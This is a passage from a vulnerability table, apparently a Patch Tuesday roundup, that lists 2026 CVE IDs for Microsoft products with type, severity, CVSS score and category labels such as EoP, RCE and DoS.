 5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  